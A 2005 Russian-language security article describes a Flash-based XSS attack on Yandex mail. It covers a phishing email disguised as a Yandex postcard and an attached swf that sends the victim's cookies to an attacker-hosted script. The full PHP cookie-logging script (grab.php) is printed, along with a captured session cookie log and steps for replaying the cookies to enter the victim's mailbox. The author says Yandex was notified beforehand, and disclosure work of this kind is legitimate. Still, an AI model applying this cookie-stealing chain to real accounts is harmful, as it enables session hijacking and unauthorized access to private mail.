16.05.2005

Атака на аккаунт Яндекс.Паспорт

Эта статья является примером того, как можно использовать уязвимость, описанную в статье «Обход JavaScript фильтров — Flash! Атака»[1]. XSS в веб интерфейсе почты даст возможность атакующему перехватить сессию аутентификации и получить доступ к корреспонденции пользователя и настройкам аккаунта. Для успешной атаки злоумышленник должен создать swf файл способный перехватить cookies пользователя и передать их скрипту расположенному на сервере атакующего. Далее атакующий, получив cookies, должен будет использовать их для аутентификации. Рассмотрим все действия подробно.

Автор: el Nitro
[elnitro a hattack.ru]
http://hattack.ru

Введение

Эта статья является примером того, как можно использовать уязвимость, описанную в статье «Обход JavaScript фильтров — Flash! Атака»[1]. XSS в веб интерфейсе почты даст возможность атакующему перехватить сессию аутентификации и получить доступ к корреспонденции пользователя и настройкам аккаунта. Для успешной атаки злоумышленник должен создать swf файл способный перехватить cookies пользователя и передать их скрипту расположенному на сервере атакующего. Далее атакующий, получив cookies, должен будет использовать их для аутентификации. Рассмотрим все действия подробно.

Реализация

Для отправки почты жертве атакующий будет использовать этот[2] PHP скрипт. Скрипт отправляет html письмо с прикрепленным flash файлом postcard.swf. Содержание письма замаскируем под открытку. Выберем, например вот эту http://cards.yandex.ru/previewcard.xhtml?cardid=1797 открытку и создадим её в системе, отправив самому себе на СВОЙ аккаунт. В результате получим html код который шлёт настоящая открытка и ссылку на открытку с поздравлением в системе Яндекс открытки. Ссыка выглядит приблизительно так:

http://cards.yandex.ru/message.xhtml?id=
8e20df3454e8726331411bcae2c7bf0f

Пример html-кода открытки:

Здравствуйте, isjustatest@yandex.ru

Службой Яндекс.Открытки Вам доставлено сообщение от
пользователя: секрет.

Для просмотра открытки нажмите на ссылку:
http://mail.yandex.ru/{POSTCARD}
или скопируйте линк в окошко "адрес" Вашего браузера

____________________________________________________________
Яндекс.Открытки
http://cards.yandex.ru

,где вместо {POSTCARD} будет помещена ссылка на прикрепленный файл postcard.swf.

Жертва, получившая послание и открывшая письмо увидит что-то вроде этого:

Теперь если нажать на ссылку обведенную красным, то откроется открытка расположенная по адресу http://cards.yandex.ru/message.xhtml?
id=8e20df3454e8726331411bcae2c7bf0f
и жертва лишится cookies.

Посмотрим, что представляет из себя файл postcard.swf:

Как мы видим, javascript передаёт значения cookies методом GET скрипту grab.php:

---------------------------%<----------------------------------
<?php
$cook = $_GET['cook'];
$locat = $_GET['locat'];
$report = "Cookies: $cook\n".
          "Location: $locat\n".
          "--------------\n\n";
error_log ($report, 3, "log.txt");
header("Location: http://cards.yandex.ru/message.xhtml?id=
8e20df3454e8726331411bcae2c7bf0f");
?>
---------------------------%<----------------------------------

скрипт получает значения cookies и location и записывает их в файл log.txt:

---------------------------%<----------------------------------
Cookies: yabs-frequency=296972.2:291605.1:293272.1:288871.1:
289898.1:288848.1:269794.1:268616.1:289013.3:244013.5:
288082.2:259961.5:288833.1:289217.3:289810.1:291604.2:
288851.1:292964.2:289973.1:289987.1:290010.1:296852.2:
297775.1:288974.1; mail_tag=yandex.ru; yandex_login=isjustatest; 
my=YwECAAEIAAwABwAVABYADgAA; yandexuid=2042291113573567; 
Session_id=1115790036.75.0.12019287.2:27846757:5.13439.63498.
8fef1790dfc6f79ca36b225fa8e0aac6; yandex_fio=Васин Вася; 
yandex_mail=isjustatest; yandex_nickname=; yafolder=27846757:
1220000000000292066; mesort=date
Location: http://mail.yandex.ru/img?hid=1.1
--------------
---------------------------%<----------------------------------

строка header("Location: http://cards.yandex.ru/message.xhtml?
id=8e20df3454e8726331411bcae2c7bf0f"); переадресовывает браузер клиента на настоящую открытку которую мы создали ранее в системе «Яндекс.Открытки».

Для пользователя всё выглядит совершенно незаметно и безобидно.

Далее злоумышленник использует полученные cookies например при помощи программы minibrowser[3] в которой cookies можно менять на лету:

Осталось нажать кнопку «Get» и оказаться в почтовом ящике атакуемого пользователя.

Заключение

Стоит отметить, что в случае с Яндекс, перехваченные cookies действуют небольшой промежуток времени (при настройке уровня доступа «Узнавать меня, но запрашивать авторизацию»), но встречаются веб приложения, которые хранят в cookies md5 хеши от паролей и если злоумышленник перехватит их, то сможет пользоваться ими многократно или попытается расшифровать пароль.

p.s. Компания Яндекс получила уведомление о наличии уязвимости за несколько дней до публикации этого материала.

[1] «Обход JavaScript фильтров — Flash! Атака» http://www.securitylab.ru/54476.html
[2] Все сопутствующие файлы можно взять с http://hattack.ru/xss/yandex-xss_ru.rar
[3] Minibrowser можно скачать по адресу http://hattack.ru/xss/files/minibrowser_2.20.rar

или введите имя

CAPTCHA